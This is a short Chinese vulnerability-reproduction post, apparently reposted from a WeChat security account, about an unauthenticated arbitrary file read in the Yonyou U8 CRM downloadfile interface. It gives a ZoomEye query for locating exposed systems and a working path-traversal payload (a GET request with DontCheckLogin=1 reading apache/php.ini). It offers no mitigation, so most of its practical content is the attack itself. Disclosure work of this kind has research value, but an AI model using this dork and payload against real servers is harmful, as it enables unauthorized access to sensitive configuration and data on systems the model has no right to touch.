用友U8 CRM客户关系管理系统 downloadfile 任意文件读取

一、漏洞详情

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。用友 U8 CRM downloadfile 接口存在任意文件读取漏洞。未经授权的远程攻击者可以利用该漏洞，造成敏感信息泄露。

二、搜索语法

使用 ZoomEye 搜索

app:"用友 U8 CRM"

https://www.zoomeye.org/searchResult?q=app%3A%22%E7%94%A8%E5%8F%8B%20U8%20CRM%22

三、漏洞复现

使用 payload

GET /pub/downloadfile.php?DontCheckLogin=1&url=/datacache/../../../apache/php.ini HTTP/1.1

复现截图

原文始发于微信公众号（增益安全）：漏洞复现—用友U8 CRM客户关系管理系统 downloadfile 任意文件读取